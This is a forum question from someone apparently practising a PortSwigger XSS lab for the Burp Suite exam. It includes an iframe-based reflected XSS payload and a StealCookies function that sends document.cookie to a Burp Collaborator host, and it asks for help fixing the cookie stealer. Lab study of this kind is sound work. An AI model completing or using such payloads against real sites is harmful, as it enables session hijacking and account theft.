I am busy with the portswigger lab studies, doing "Reflected XSS into HTML context with most tags and attributes blocked".
I successfully fire the print() on myself and the simulated victim, but for extra practice in preparing for the burp suite exam, I am trying to extend my exploit server body code content to steal the victim cookie in burp collaborator out of band. The simulated victim click on any link send.
I get hit with the below exploit server body code, but no document.cookie value in my OOB listening server. Is it possible or is it that the victim cookie has the httponly set?
function StealCookies() {
document.write('<img src="http://BurpCol.oastify.com?cookieStealer="+document.cookie>');
}
<iframe src="https://burp-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=StealCookies()%3E" onload=this.style.width='1000px'>
my javascript code skills are very basic, I will appreciate any feedback to make successful cookie stealer exploit, as the labs just do alert() or print().
Thanks J